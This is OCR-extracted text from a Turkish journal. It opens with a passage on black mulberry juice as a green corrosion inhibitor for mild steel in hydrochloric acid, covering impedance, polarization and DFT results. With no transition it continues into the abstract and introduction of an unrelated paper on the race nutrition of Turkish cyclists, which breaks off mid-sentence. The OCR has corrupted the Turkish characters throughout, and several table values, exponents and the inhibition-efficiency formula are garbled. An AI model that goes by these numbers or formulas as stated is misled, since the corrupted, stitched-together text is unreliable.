ekonomik faaliyetlerin desteklenmesi sebebiyle kimyasal organik/inorganik inhibitor
kullanimi yerini yesil inhibitorlere birakmistir (Riccardo ve ark., 2005; El- Haddad, 2013;
Verma ve ark., 2018; Popoola, 2019; Wei ve ark., 2020). Literatiirde yapilan galismalarda,
Karima ve ark., (2020), Retama monosperma (L.) Boiss'te alkaloitleri i¢geren tohum 6zii ile, 1
M HCI ortaminda karbon ¢eliginin korozyona karsi korunmasini saglamiglardir. Raja ve ark.,
(2012), Alstonia angustifolia latifolia yapraklart ile 1 M HCl'de yumusak ¢eligi korozyona
karst korumuslardir. 5 mg/L konsantrasyonda yaklasik %80 inhibisyon etkinligi tespit
etmiglerdir. Bouknana ve ark.,, (2014), zeytinyagi degirmeni atik sularimin ekstrakt
fraksiyonlarini kullanarak, agirlik kayb1 dlctimleri ve elektrokimyasal polarizasyon 6l¢timleri
ile ¢eligin 1 M HCI iginde korozyon davranisini incelemisler ve inhibisyon etkinliginin
yaklasik %90 oldugunu tespit etmislerdir. Odewunmi ve ark., (2015), yumusak ¢eligin HCI
ortaminda korozyon davranigina Karpuz kabugunun inhibisyon etkilerini arastirmistir ve

oldukga yiiksek etkinlik tespit etmistir. Yiice (2019), dut yapragi ekstresinin inhibisyon
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davranigini, 0,5 M HCI ¢ozeltisi i¢cinde farkli konsantrasyonlarda yumusak celik i¢in, dogrusal
polarizasyon direnci, elektrokimyasal impedans spektroskopisi ve potansiyodinamik
polarizasyon teknikleri kullanilarak arastirmistir. Elde edilen sonuglara gore, inhibisyon
etkinliginin dut yapragi ekstraktinin artan derisimi ile arttigmi ve 2,00 g L™ ekstrakt igeren 0,5
M HCI’de maksimum %94 etkinlige ulastigini tespit etmistir. Polarizasyon egrilerine gore,
maddenin hem anodik hem de katodik bolgelerde inhibisyon sagladigi goriilmiistiir.

Bu calismada ise Cukurova bolgesinde yetisen kara dut meyvesinin suyunun, 0,5 M
HCI c¢ozeltisi igerisinde yumusak celigin korozyon davranisina etkileri arastirilmistir. Bu
amacla dogrusal polarizasyon direnci, elektrokimyasal impedans spektroskopisi ve
potansiyodinamik polarizasyon teknikleri kullanilmigtir. Ayrica inhibisyon mekanizmasinin
aydinlatilmasi i¢in temel bilesenlerden klorojenik asit, para kumarik asit i¢in yiik yogunlugu
teorisi (DFT) ile 6-311++G (d,p) baz seti kullanilarak dipol moment, Mulliken yiikler, en
yiiksek enerjili bos molekiiler orbital (HOMO) ve en diisiik enerjili dolu molekiiler orbital

(LUMO) geometrileri ve enerjileri belirlenmistir.

Materyal ve Metod

Calismada kullanilan karadut meyvesi Cukurova bélgesinde (37.029°K; 35.236°D)
yetistirilmis olup 21.05.2023 tarihinde hasat edilmistir. Meyveler yapraktan ayrilarak saf su
ile yikandiktan sonra (Sekil 1a), preslenip mavi siizge¢ kagidinda siiziilerek derisik meyve
suyu hazirlanmistir (Sekil 1b). Bu derisik ¢ozeltiden farklt hacim oranlarinda (0; 1; 3 ve 5
mL) alinarak son hacim 100 mL olacak sekilde 0,5 M HCI ile homojen c¢ozeltiler
hazirlanmistir, sirasiyla “DO0; D1; D3 ve D5” olarak sembolize edilmistir. Elektrokimyasal
olgtimlerin gergeklestirilmesi i¢in Sekil 1c¢’deki deney diizenegi kurulmustur. Deneyler oda
kosullarinda gerceklestirilmistir. Bu diizenekte, calisma elektrotu olarak kullanilan yumusak
¢eligin (YC) kimyasal bilesimi; (%); 0,17 C, 0,045 S, 1,40 Mn, 0,009 N ve geri kalan Fe’dir.
Calisma elektrotlarinin hazirlanmasi igin gerceklestirilen prosediirler onceki ¢alismalarda
belirtilmistir (Dogru Mert, 2017). Elektrotlarin yiizeyi mekanik parlaticida (100-320-1200
grid zimparalarla) parlatildiktan sonra once etil alkol ile daha sonra distile su ile
temizlenmistir. Elektrokimyasal Slgiimler ii¢ elektrot tekniginden yararlanilarak, CHI 660 D
model elektrokimyasal analiz cihazi ile gergeklestirilmistir. YC c¢alisma elektrotunun yiizey
alan1 0,502 cm?®’dir. Sistemde YC calisma elektrotu, platin (Pt) kars1 elektrot ve glimiis-giimiis
kloriir elektrot (Ag/AgCl, 3M KCIl) referans elektrot olarak kullanilmistir. Dogrusal
polarizasyon direnci (Rp) agik devre potansiyelinden itibaren £10 mV aralikta 1 mV s tarama

hiz1 ile elde edilen I/V egrilerinden belirlenmistir. Elektrokimyasal impedans spektroskopisi
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(EIS) o6l¢iimleri 10° - 10t Hz frekans araliginda, 5 mV genlik uygulanarak elde edilmistir.
Elde edilen veriler Zwiev2 programi ile modellenmistir. Ayrica anodik polarizasyon egrileri 1
mV s? tarama hiz1 ile elde edilmistir. Karadut meyve igeriginde bulunan temel bilesenlerden
p-kumarik asit ve klorojenik asit molekiilleri i¢in kuantum teorik hesaplamalar GaussView
4.1 ve Gaussian 03W programlariyla gerceklestirilmistir. DFT yaklasimiyla, 6-311++G (d,p)
baz seti kullanilmistir. Belirlenen degiskenler; Mulliken yiikler, Enomo (en yiiksek enerjili
dolu molekiiler orbital enerjisi), ELumo (en diisiik enerjili bos molekiiler orbital enerjisi), AE

(ELumo - EHomo), u (dipol moment) vb.'dir.

Sekil 1. Karadut (a), Karadut suyu (b), Elektrokimyasal 6lgiimlerin gergeklestirildigi deney diizenegi (c)

Bulgular ve Tartisma

YC’nin 0,5 M HCI ¢ozeltisindeki korozyon davranisina karadut meyvesinin etkilerinin
belirlenmesi amaciyla 1 saatlik daldirma siiresinin ardindan gergeklestirilen EIS 6l¢limlerine
ait Nyquist ve Bode egrileri Sekil 2°de goriilmektedir. Elde edilen verilere ait esdeger devre
modeli Sekil 3’de sunulmustur. Devre elemanlarindan R1 ¢ozelti direncini, Rz polarizasyon
direncini, CPE sabit faz elementini temsil etmektedir. Sekil 2 a’da goriildiigii gibi DO’dan
itibaren D5’e¢ kadar c¢ozeltide artan miktar ile birlikte polarizasyon direncinin arttig
goriilmiistiir. Bu durum karadut meyve suyunun YC nin 0,5 M HCI ¢ozeltisindeki korozyon
hizin1 inhibe etmesinden kaynaklanmaktadir. Karadut meyve suyu i¢ermeyen 0,5 M HCI
cozeltisinde (DO0) 1 saatlik daldirma siiresi sonunda YC i¢in belirlenen diren¢ degeri 24,11
ohm cm? iken en yiiksek miktar olan D5 ¢ozeltisinde bu deger yaklasik 2,6 kat artarak 61,77
ohm cm? olarak belirlenmistir. Sekil 2 b’de genis bir alanda degisen frekans degerlerine
karsilik reel diren¢ degerlerinin temsil edildigi tek bir kapasitif bolge goriilmektedir. Bu
durum meydana gelen korozyon mekanizmasinin yiik transferinin kontroliinde gerceklestigini
gostermektedir. Ayrica DO0’dan itibaren D5’e kadar YC i¢in artan direng degerleri ile uyumlu
olarak en yiliksek faz acisinin da artis gosterdigi tespit edilmistir. Bilindigi lizere faz agisi

yiizey homojenitesi hakkinda bilgi verir ve faz agilarinda meydana gelen artig, karadut meyve
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suyu icerisinde yer alan organik molekiillerin (p-kumarik asit ve klorojenik asit) elektrot
ylizeyine adsorpsiyonu sonucu ara yiizeyin kapasitor davranisi lizerine etkisi olarak
yorumlanabilir. Korozyon reaksiyonu sirasinda elektrot (metal) / elektrolit (¢oziicii ve
¢Ozlinen tim tlrler) “ara yilizey”i  olusturur fakat bu ara yiizey ideal kapasitoriin
karakteristiklerini gésteremez, bu durum Sekil 2 b’de sunulan Bode egrisindeki faz agilarinin
90 dereceden kiiciik olmasi ile de anlasilmaktadir. Bu yiizden EIS sonuglarinin modellendigi
esdeger devrede ideal kapasitans (C) yerine sabit faz elementi (CPE) kullanilmistir. DO’dan -
D5’e artan derisimine gore CPE degerleri azalmistir.YC’nin DO ¢6zeltisinde elde edilen CPE

degeri 5,43x10™S.s" iken D5 ¢ozeltisinde 2,01x10* S.s" dir.
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Sekil 2. YC’nin DO (0); D1 (0); D3 (0) ve D5 (A) ¢ozeltilerinde 1 saat daldirma siiresi sonunda elde

edilen Nyquist (a) ve Bode (b) egrileri
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Sekil 3. EIS verilerinin modellenmesinde kullanilan esdeger devre (R1 ¢6zelti direnci, R, polarizasyon

direnci, CPE sabit faz elementi)

1 saatlik daldirma siiresinin ardindan gergeklestirilen EIS olgtimleri ile belirlenen biitiin

veriler ve dogrusal polarizasyon yontemi ile belirlenen direng degerleri (LRp) Tablo 1’de

sunulmustur.

Tablo 1. YC’nin 1 saatlik daldirma siiresi ardindan gergeklestirilen EIS 6lgiimlerine ait esdeger devre elemanlar
ve dogrusal polarizasyon yontemi ile belirlenen direng (LRp) degerleri.

Cozelti R:; (ohmcm?) R, (ohmcm?) CPE ( S.sec") n LRp (chm cm?) IE
Do 9,63 24,11 5,43x10* 0,81 34,27 -
D1 8,58 39,42 2,55x10 0,79 41,84 39
D3 531 56,91 2,17x10* 0,84 58,73 58
D5 4,64 61,77 2,01x10* 0,83 66,22 61

Tablo 1’de goriildiigii gibi D0’dan D5’e artan derisimler ile polarizasyon direncinin
arttig1 goriilmektedir. YC nin 0,5 M HCI ¢ozeltisindeki LRp degeri 34,27 ohm cm? iken D5

¢ozeltisinde bu degerin 66,22 ohm cm? oldugu tespit edilmistir. EIS dlciimlerinden belirlenen

direng degerlerinden yola ¢ikarak her bir ¢dzeltinin korozyona karsi inhibisyon etkinliginin

tespiti i¢in Esitlik 1 kullanilmustir;
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%IE = (Rinhibitorli — Rinhibitorsiz) / Rinhibitsria * 100 1)

Rinnibitori: Inhibitdr kullanilan ¢ozeltide elektrotun polarizasyon direnci

Rinhibitorsiz: Inhibitdr kullanilmayan ¢ézeltide elektrotun polarizasyon direnci

Karadut suyunun polarizasyon direncini hesaplamak igin islem gérmemis yumusak

celik elektrot ve D5 c¢ozeltisinde bekletilen elektrotun 168 saat siire ile EIS ol¢limleri

alinmustir.
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Sekil 4. YC’nin DO ¢6zeltisinde g¢esitli daldirma siireleri sonunda elde edilen Nyquist egrileri

Sekil 4’de YC elektrot icin 24; 48; 96 ve 168 saatlik daldirma siirelerinin ardindan EIS
olgtimleri ile belirlenen polarizasyon direngleri sirasiyla 46,1; 32,2; 15,5 ve 9,8 ohm cm?
olarak belirlenmistir.

Sekil 5’te goriildigi tizere DS ¢ozeltisi icerisinde 24 saat daldirma siiresi sonunda YC
elektrotun diren¢ degerinde, 1 saat bekletilen elektrotun diren¢ degerine oranla onemli bir

artis oldugu gozlenmistir.
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Sekil 5. YC’nin D5 ¢ozeltisinde ¢esitli daldirma siireleri sonunda elde edilen Nyquist ve Bode egrileri

96



Tablo 2. YC’nin D5 ¢ozeltisinde ¢esitli daldirma siireleri sonunda elde edilen EIS 6l¢iimlerine ait esdeger devre
elemanlar1 degerleri

Cozelti R: (ohmem?) Rz (ohmem?)  CPE(Ssec®)  n IE /%
1sa 4,64 61,77 2,01x10* 0,83 61
24 sa 9,35 837,2 1,04x10* 0,85 95
72 sa 13,55 972,6 9,21x10° 0,85 97
96 sa 12,51 1037 4,57x10® 0,83 98
168 sa 12,31 1101 4,41x10® 0,84 99

Tablo 2’de karadut suyunun inhibisyon etkinligi artan daldirma siirelerinde artig
gdstermektedir. 168 saat sonunda IE% degeri yaklagik %99 olarak tespit edilmistir. Bu durum
meyve suyunda bulunan organik asitlerin ve diger meyve bilesenlerinin sinerjistik etkisinden
kaynaklanabilir; Raja ve ark. (2012), benzer bir ¢aligmada yumusak ¢elik elektrotun 1 M HCI
cozeltisindeki korozyon davraniglarina Alstonia angustifolia latifolia’nin  etkilerini
arastirmistir, 5 mg/L konsantrasyonda yaklasik olarak %80 inhibisyon etkinligi tespit
edilmistir. Karima S ve ark., 2020; Retama monosperma (L.) tohum 6zii kullanarak 1 M HCI
¢ozeltisinde yaklasik %94 inhibisyon etkinligi tespit etmislerdir. Tablo 2’de Karadut suyunun
inhibitor etkinliginin yiliksek olmasi, yesil inhibitor olarak kullanim potansiyelinin oldugunu
ve YC’nin HCI ¢ozeltisinde korozyona karsi korunmasinda etkili oldugunu géstermektedir.

Sekil 6’da YC’nin agik devre potansiyelinden itibaren 1 mV s? tarama hiz1 ile elde
edilen yar1 logaritmik anodik polarizasyon egrileri goriillmektedir. Farkli potansiyel degerleri

icin egrilerden belirlenen akim degerleri Tablo 3’te sunulmustur.
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Sekil 6 . YC’nin DO (0); D1 (0); D3 (0) ve D5 (A) ¢ozeltilerinde 1 saat daldirma siiresi sonunda elde

edilen anodik polarizasyon egrileri

Tablo 3. YC’nin anodik polarizasyon dlgiimleriyle farkli potansiyellerde belirlenen akim degerleri.

Cozeli 1100V 1/01V  1/02V  1/0,3V 1/04v  1/05V  1/06V  Eocp
(A) (A) (A) (A) (A (A (A %
DO 7,13x102 8,67 x102  1,01x10" 1,15x10%  1,28x10*! 1,42x10% 1,52x10!  -0,523
D1 582x102  6,96x102  8,05x102 891x10%  1,02x10! 1,17x10" 14x10!  -0,525
D3 3,23x10%  3,82x102  4,38x102 4,88x102 531x10% 580x10% 6,18x102  -0,527
D5 1,9x102  2,26x102  2,61x10% 2,94x102  3,22x10% 3,48x10? 3,73x10?  -0,533

Sekil 6 ve Tablo 3’te agikga goriildiigii gibi DO’dan D5’e artan derigimler ile 0,0 V’dan
itibaren 0,6 V’a kadar tiim potansiyeller icin akim degerleri kiyaslandiginda belirgin bir
azalma s6z konusudur. Ozellikle DO ve D5 ¢ozeltileri igin 0,6 V’da YC icin akim degerlerinin
sirastyla 1,52x107 A ve 3,73x102 A oldugu tespit edilmistir. Bu durumun karadut meyve
suyunda bulunan p-kumarik asit ve klorojenik asitten kaynaklanabilecegi diisiincesiyle
kuantum teorik ¢alismalar gergeklestirilerek korozyon mekanizmasi aydinlatilmak istenmistir.
Elde edilen Mulliken yiikler, HOMO ve LUMO orbital geometrileri Sekil 7 ve 8’de

sunulmustur.
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Sekil 8. Klorojenik asit’in Mulliken atomik yiikleri (a), HOMO (b) ve LUMO (c) orbital geometrileri

Sekil 7 ve 8’de p-kumarik asit ve klorojenik asit molekiillerindeki atomlarin Mulliken
yiikleri incelendiginde negatif yiiklii merkezlerin karbonil ve hidroksil oksijenleri oldugu ve
YC yiizeyine adsorpsiyonun bu bolgelerden gerceklesebilecegi diisiiniilmektedir. p-kumarik
asit molekiiliinde ; C=0* (*=-0,400 au) ve O=C=0*—H (*= -0,200 au) iken klorojenik asit
molekiilinde C=0* (*= -0,307 au) ve —C—O*—H (*= -0,319 au) olarak tespit edilmistir.
S6z konusu mekanizmanin agagida belirtilen sekilde oldugu diistiniilmektedir. YC icerisindeki
en yiiksek kiitlece bilesim Fe oldugu icin mekanizmada bu elektrot Fe olarak temsil

edilmektedir. Karadut meyve suyunda bulunan etken bilesenler i¢in D sembolii kullanilmistir.

Fe + Cl e (FeCl )ags 1)
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(FECI )agse> (FeCl)ags +&~ (2)
(FeCl)ags> FeCl* +e~ 3)
FeCl*« Fe?* +ClI™ 4)

Asidik ¢ozeltide meyve suyu icerigindeki bilesiklerin protonlanabilecegi diisliniilerek katyon

(D*) formun adsorpsiyonda daha etkin rol iistlenecegi ongoriilmektedir;

D + H*< DH" (5)
Fe + H o (FeH")ads (6)
(FeH)ads +6 — (FeH)ads (7)

(FeH)ads +H™ +6"— Fe + H> (8)
(FeCl)ads+ DH*«— (FeCl™ DH")ads 9

Korozif ortam olarak kullanilan 0,5 M HCI c¢ozeltisindeki kloriir iyonlariin spesifik
adsorpsiyon karakteri bilinmektedir. Bu negatif yiik sayesinde pozitif yiiklii elektrot yiizeyi
tizerinde i¢ Helmholtz tabakasina kadar ilerleyerek adsorplanabilirler. Bu durumda yiizeyden
¢ozelti tarafina dogru negatif yiik fazlaligi olusturabilirler ve pozitif yiikli inhibitor
molekiillerin (D*) adsorpsiyonunu destekleyebilirler. Dolayisiyla, yiizey ile bu tiirler arasinda
baglant1 kopriileri olusturan adsorbe edilmis CI iyonlar ile elektrostatik etkilesim yoluyla
inhibitér filmi olusturabilir. S6z konusu adsorpsiyon fiziksel karakterdedir fakat yiizeyde
olusan inhibitér filmi korozyonun zararli etkilerine karsi ylizeyi korumaktadir. Ayrica
gerceklestirilen teorik hesaplamalar sonucunda; p-kumarik asitin en diisiik enerjili bos orbital
(LUMO) enerjisi 0,409 eV; en yiiksek enerjili dolu orbital (HOMO) enerjisi 7,033 eV olarak
hesaplanmistir. Bu orbitaller Sekil 7°de goriilmektedir. Ayrica bu molekiiliin dipol moment
degeri (3,9353 Debye), YC ylizeyine adsorpsiyonunun kolay bir sekilde gerceklesebilecegini
gostermektedir. Ayn1 kosullarda gergeklestirilen teorik hesaplamalarda klorojenik asitin en
diisiik enerjili bos orbital (LUMO) enerjisi 4,057 eV; en yiiksek enerjili dolu orbital (HOMO)
enerjisi 5,845 eV olarak hesaplanmistir. Bu orbitaller Sekil 8’de goriilmektedir. Klorojenik
asitin dipol moment degeri olduk¢a yiiksektir (6,2839 Debye), artan dipol moment ile elektrot

ylizeyine adsorpsiyonun daha avantajli hale geldigi bilinmektedir.
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Sonuc ve Oneriler

Bu calisma, sentetik, toksik ve yiiksek maliyetli korozyon inhibitorlerine alternatif
olarak dogal, c¢evre dostu ve uygun maliyetli muadillerin arastirilmast amaciyla
gerceklestirilmistir. Calismada Cukurova bolgesinde yetistirilen ve mevsiminde hasat edilen
karadut meyvesinin suyunun alternatif bir korozyon inhibitorii olabilecegi hipotezi lizerinde
durulmustur. Korozif ortam olarak 0,5 M HCI ¢d6zeltisi kullanilmistir ve elektrokimyasal
ol¢tim teknikleri ile yumusak ¢elik (YC) elektrotlarin korozyon davranislari izlenmistir. Elde
edilen EIS sonuglarina gore, karadut meyvesi suyu iceren korozif ¢ozeltide yumusak ¢eligin
polarizasyon direncinin 1 saatlik daldirma siiresinin ardindan yaklasik olarak 2 kat arttigi
tespit edilmistir. 168 saatlik daldirma siiresinin sonrasinda ise en yiiksek inhibisyon etkinligi
degeri yaklasik olarak % 99 olarak belirlenmistir. Dogrusal polarizasyon direnci belirlenen
numunelerin direng degerlerinin EIS 6l¢iimlerini destekler nitelikte oldugu tespit edilmistir.
Ayrica gerceklestirilen anodik polarizasyon 6l¢iimlerinden belirlenen akim degerlerinde artan
meyve suyu miktarlar1 ile belirgin olarak azalma goriilmektedir. Kuantum teorik
hesaplamalarda hem p-kumarik asitin hem de klorojenik asitin YC yiizeyine adsorpsiyonun
karbonil grubunda yer alan oksijen atomlar1 ve hidroksil gruplarindaki oksijen atomlari
iizerinden gerceklesebilecegi kanaati olugmustur. Belirlenen dipol momentleri sirasiyla
3,9353 Debye ve 6,2839 Debye’dir. Sonuglar bu molekiillerin YC yiizeyine adsorpsiyonunun
istemli olarak gerceklesebilecegini gdstermektedir. Adsorpsiyon sayesinde YC yiizeyinde
olusan inhibitdér film tabakasinin malzemeyi korozyonun zararli etkilerine karsi korudugu

diistiniilmektedir.
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Oz

Calismanin amaci, uluslararasi diizeyde miicadele eden Tiirk bisiklet
sporcularinin miisabaka haftasina yonelik olarak, yarigma oncesi,
siras1 ve sonrast uyguladiklart beslenme stratejilerinin ve yarigma
sonrasi toparlanma yontemlerinin belirlenmesidir. Arastirmaya, 19
erkek ve 13 kadin toplam 32 bisiklet¢i katilmigtir. Beslenme
aligkanliklarinin ve toparlanma yodntemlerinin belirlenebilmesi igin
“Sporcu Beslenme Formu” uygulanmistir. Arastirma bulgularina gore;
sporcularin diizenli ii¢ 6gine sahip olduklari; 6gilinlerini diizenli
alanlar ile almayanlar arasinda, diizenli alanlarin lehine anlamli fark
oldugu (P=0,034); sporcularin %59,4’linlin &giin atlamadigi; ana
ogiine ek olarak sporcularin %71,9’unun en az bir ara 6giin aldigi
tespit edilmistir. Yarigsma sabahi bisikletcilerin %53,1°1 karbonhidrat,
%6,3’1 protein, %40,6’s1 karma agirlikli beslendigi; yaris esnasinda
sporcularin %37,5’inin muz, %52,5’inin enerji jeli tikettigi tespit
edilmistir. Bisikletgilerin yarigtan sonra ortalama 48 dk (+41) iginde
icecek, ortalama 78,5 dk (+48,6) icinde yiyecek tiikettikleri, yarig
bitiminden 10 dk sonrasindan itibaren farkli beslenme stratejileri
uyguladiklar1 ortaya konmustur. Yarig oncesi, sporcularin %53,1’inin
karbonhidrat, %18,8’inin protein, %28,1’inin karma agirlikl
beslendigi; yarig sonrasi, sporcularm %40,6’sinin  karbonhidrat,
%28,1’inin karma, %18,8’inin protein agirlikli beslendigi tespit
edilmistir. Yaris sonrasi tiikketilen bu makro besin 06gelerinden
karbonhidratin ortalama 241,9 g (£192,9), proteinin 46,0 g (+29,1),
yagin ise 13,3 g (£7) oldugu tespit edilmistir. Sonu¢ olarak
uluslararasi diizeydeki kadin ve erkek bisikletcilerin yarigma sabahi,
yarig sonrasi ana 0gilin ve yarigtan 3 saat sonraki 6glinde karbonhidrat
agirlikli, yarigmadan bir giin sonra ise karma agirlikli beslendikleri
tespit edilmistir. Sonuglarin, bu sporu iist seviyede yapmak isteyen
sporculara, beslenme bilgisi edinmek isteyen antrendr ve diyetisyen
gibi spor calisanlarina faydali olacag: diisiiniilmektedir.

*Calismanin yiiriitiilmesi icin “Canakkale Onsekiz Mart Universitesi, Lisansiistii Enstitiisii”, Bilimsel Arastirma Etik

Kurul’undan 03.02.2022 tarih ve 03/31 say1li karar ile etik onay alinmistir.
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The aim of the study is to determine the nutritional strategies and post-
competition recovery methods applied by Turkish cyclists competing at the
international level before, during and after the competition week. A total of
32 athletes, 19 men and 13 women, participated in the research. “Athlete
Nutrition Form” was applied to determine nutritional habits and recovery
methods. According to the research findings; that athletes have three regular
meals; there is a significant difference between those who take their meals
regularly and those who do not (P=0.034); 59% of the athletes did not skip
meals; It was determined that 71.9% of the athletes took at least one snack in
addition to the main meal. On the morning of the competition, 53.1% of the
cyclists ate mainly carbohydrates (n=17), 6.3% protein (n=2), and 40.6%
mixed diet (n=13); It was determined that 37.5% of the athletes consumed
banana (n=12), 50% energy gel (n=16) and 6.3% energy bar (n=2) during the
race. It has been revealed that cyclists consume beverages within an average
of 48 minutes (+41) and food within an average of 78.5 minutes (+48.6) after
the race, and apply different nutritional strategies within 10 minutes of the
end of the race. Before the competition, 53.1% of the athletes had a
carbohydrate diet (n=17), 18.8% a protein (n=9), 28.1% a mixed diet (n=6);
after the race, it was determined that 40.6% of the cyclists had a
carbohydrate, 28.1% a mixed and 18.8% a protein-based diet. It has been
determined that among these macronutrients consumed after the race, the
average of carbohydrates is 241.9 g (£192.9), protein is 46.0 g (£29.1), and
fat is 13.3 g (£7). As a result, it has been determined that well-trained male
and female cyclists have a carbohydrate-based diet on the morning of the
competition, the main meal after the race and the meal 3 hours after the race,
they have a mixed diet one day after the competition. It is thought that the
results will be beneficial for athletes who want to do this sport at a high level
and for sports workers such as trainers and dietitians who want to gain
nutritional information.

To Cite: Kiirkcii Akgoniil E, Ozen G, Boyraz OC., 2024. Tiirk bisiklet sporcularinin yarisa yonelik beslenme davramslarinm
incelenmesi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 104-128.

Giris

Icad1 18. yiizyila uzanan bisiklet, ulasim, serbest zaman, saglik ve yarisma amactyla

kullanilan bir aractir. Ilk yarislar1 1868 yilinda yapilmis olan bisiklet sporu, 1896 Atina’da

diizenlenen ilk olimpiyat oyunlarina da dahil olmustur. Bisiklet sporculari ¢ok uzun siire ve

mesafelerde bisikletin iizerinde zaman gegirirler. Ozellikle profesyonel bisikletgiler yilda 35

bin km kadar antrenman yaparlar (Siime ve Ozsoy, 2010; Zarzeczny, 2013; Toprakli, 2016;

Kiirkcti Akgoniil ve ark., 2023). Bisiklet sporunda yarigmalar ise, sekiz farkli ana kategoride,

tek glin 500 m ile 280 km arasinda yapilirken, coklu etaplar seklinde 21 gilinde toplam 3500

km arasinda degisen siire ve mesafelerde yapilmaktadir. Antrenman ve miisabakalarin tiirt,

yarigma siiresi ve siddetine gore farkli enerji yolaklar1 aktif olur (Boyraz, 2018).

Miisabakalarin siirdligii giin sayis1 ve yarislarin frekansina gore farkli dinlenme, toparlanma

ve beslenme stratejileri s6z konusudur. Aktif olan enerji yolaklar1 ve egzersiz siddetine gore,
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antrenman ve miisabaka Oncesi, esnasi ve sonrasi beslenme stratejileri planlanmalidir (Wright
ve ark., 1991; Burke ve Deakin, 2010; McArdle ve ark., 2015).

Miisabaka performansina etki eden faktorlere bakildiginda genetik yapi, uygun
antrenman ve beslenme ilk siralarda gelmektedir (Perez-Gomez ve ark., 2008). Performansin
ortaya c¢ikisinda fizyolojik ve psikolojik faktdrler, antrenman durumu, beslenme durumu,
saglik, cevresel faktorlerin etkili olmasiyla birlikte, bu faktorlerden hangilerinin performansa
katkisinin daha fazla oldugunu sdylemek oldukg¢a zordur. Normal kosullarda, bu faktorlerin
performansa etkisinin ayrimi zor olsa da, yanlis beslenen bir sporcunun performansi olumsuz
etkilenebilmekte ve yiiksek performans sergileyememektedir (Schlumberger, 2006; Heismans
ve Mallon, 2011). Bisiklet sporunda performansin {ist diizeye ¢ikarilabilmesi i¢in yilda 35 bin
km, haftalik 16-20 saat antrenman yapan sporcular, ¢abalarini bosa ¢ikarmamak i¢in dogru ve
kaliteli beslenmelidir (Schlumberger, 2006; Impellizzeri ve Marcora, 2007). Egzersiz 6ncesi
enerji depolarinin dolu olmasi, egzersizin siiresi ve siddetine gore aktivite esnasinda
performansin diismemesi, egzersiz sonrasi toparlanma ve sonraki egzersize hazirlik i¢in dogru
beslenme olduk¢a dnemlidir (Burke ve Deakin, 2010).

Bisiklet gibi dayaniklilik gerektiren sporlar i¢in beslenmenin planlamasi bir sanat ve
bilimdir. Dayaniklilik sporcusunun giinliikk sivi ve besin ihtiyaci, 6zellikle giic ve takim
sporlariyla ugrasan sporcularla karsilastirildiginda biiyiik olglide degisebilir. Dayaniklilik
sporcularinin normal bireyler gibi beslenmeleri ve 6zel beslenme stratejileri olmaksizin
miisabakalara katilmalar1 biiyiik dezavantajlar yaratmaktadir. (Burke ve Deakin, 2010). Bu
sebeple, performans beslenmesi i¢in miisabakanin oldugu hafta, o6nceki gece, miisabaka
sabahi, esnas1 ve sonras1 goz ardi edilmemelidir (Wright ve ark., 1991; Power ve Howley,
2009; Burke ve Deakin, 2010; Hall, 2016).

Insan viicudunda yaklasik olarak, 400 g kaslarda ve 100 g karacigerde olmak iizere
toplam 500 g karbonhidrat deposu vardir. Bu depo 2000 kalorilik enerjiye karsilik gelmekte
ve 90 dakikalik orta-yiiksek siddetli egzersizler i¢in yeterli olmaktadir (Burke ve Deakin,
2010). Limitli olan enerji deposu nedeniyle, egzersizin oncesinde, esnasinda ve sonrasinda
alinan karbonhidratin miktar1 ve alim1 sportif performansta belirleyici etkendir. Konuyla ilgili
olarak yapilan calismalarda, karbonhidratli beslenmenin karbonhidratsiz beslenme tiiriine
gore, bireysel zamana karsi performansta tiilkenme siiresini uzattigr gézlemlenmistir (Wright
ve ark., 1991; Power ve Howley, 2009; McArdle ve ark., 2015; Hall, 2016).

Yaklasik olarak 90 dakikadan kisa siiren dayaniklilik miisabakalari; cyclo-cross, short
track, cross country ve kriteryum yariglari, dengeli beslenme durumunda karbonhidrat

yiikklemesi gerektirmeyen fakat alinan karbonhidrat tiiriiniin dikkat edilmesi gereken

106



mesafelerdir. Miisabaka sabahi 4 saat oncesi 4 g karbonhidrat/kg ile miisabaka siiresinin bir
saati astigt durumlarda 30 g/saat karbonhidrat alimi kisa siireli bisiklet miisabakalar1 i¢in
performansta anahtar rol oynamaktadir. iki saat ve iizeri dag bisikleti miisabakalari, {i¢ saat ve
iizeri yol bisikleti ve yol bisikleti saate karsi gibi uzun siireli dayaniklilik miisabakalarinda
klasik beslenmede sahip olunan Kkarbonhidrat deposu yetersiz kalabilir. Bu tarz
miisabakalardan Once karbonhidrat yiiklemesi gibi stratejiler uygulanmaktadir. Bu
donemlerde sporcular, diyetlerinin yaklasik olarak %70’i kadar ya da kg basina 8-10 g
karbonhidrat tiiketmelidirler. Kadin sporcular i¢in de 10-12 g/kg karbonhidrat almalari
onerilmektedir (Burke ve Deakin, 2010). Karbonhidrat yiiklemesi ile depo edilebilen glikojen
miktariin yaklagik %50 oraninda arttirilabildigi bilinmektedir. Bu miktar maksimum kg
basina 15 g karbonhidrata denk gelmekte ve 70 kg agirliginda erkek bir sporcu i¢in yaklasik
1050 grama tekabiil etmektedir (McArdle ve ark., 2015).

Uzun siireli miisabakalarda yaris i¢i performansa etki eden en énemli faktorlerden biri
beslenmedir. Beslenme, yarislarda karbonhidrat depolarinin tiikenecek olmasi, sivi kaybi ve
elektrolit dengesinin bozulmasi nedeniyle ortaya c¢ikabilen; sporcularda duvara g¢arpma,
performans diistisii ve kramplarla miicadelede yaris dist kalmamak igin en 6nemli silahtir
(Burke ve Deakin; 2010; Hall, 2016). Bu bakimdan beslenmede her 15-20 dakikada 60-240
ml sivi alimi1 da oldukga onemlidir. Siiresi 3 saate kadar olan miisabakalar esnasinda her saat
icin 25-60 g karbonhidrat, 3 saati gegen siirelerde ise saat basi 90 g karbonhidrat alimi
performansi olumlu etkilemektedir. Hiponatremi, sodyum azlig1 olusumunun engellenmesi
icin ise sodyum alimi goz ardi edilmemelidir. Bu tarz miisabakalarda karbonhidrat ve
sodyuma ilave olarak bazi sporcularin dalli zincirli amino asitler (BCAA) ve kafein tabletleri
kullandiklarinda bilinmektedir (Burke ve Deakin, 2010).

Giin asir1 yapilan miisabakalar ve toparlanma i¢in karbonhidrat penceresi veya altin saat
olarak adlandirilan miisabakanin bitiminden sonraki 30 dakikalik siirecte 1 g/kg karbonhidrat
ile 10-15 gram protein alimi protein sentezi ve karbonhidratin yeniden depo edilebilmesi igin
avantaj saglamaktadir (Burke ve Deakin, 2010). Dayaniklilik sporcularinin vitamin-mineral
ihtiyaglari, karbonhidrat ve protein miktarinda oldugu gibi spor yapmayan bireylere gore daha
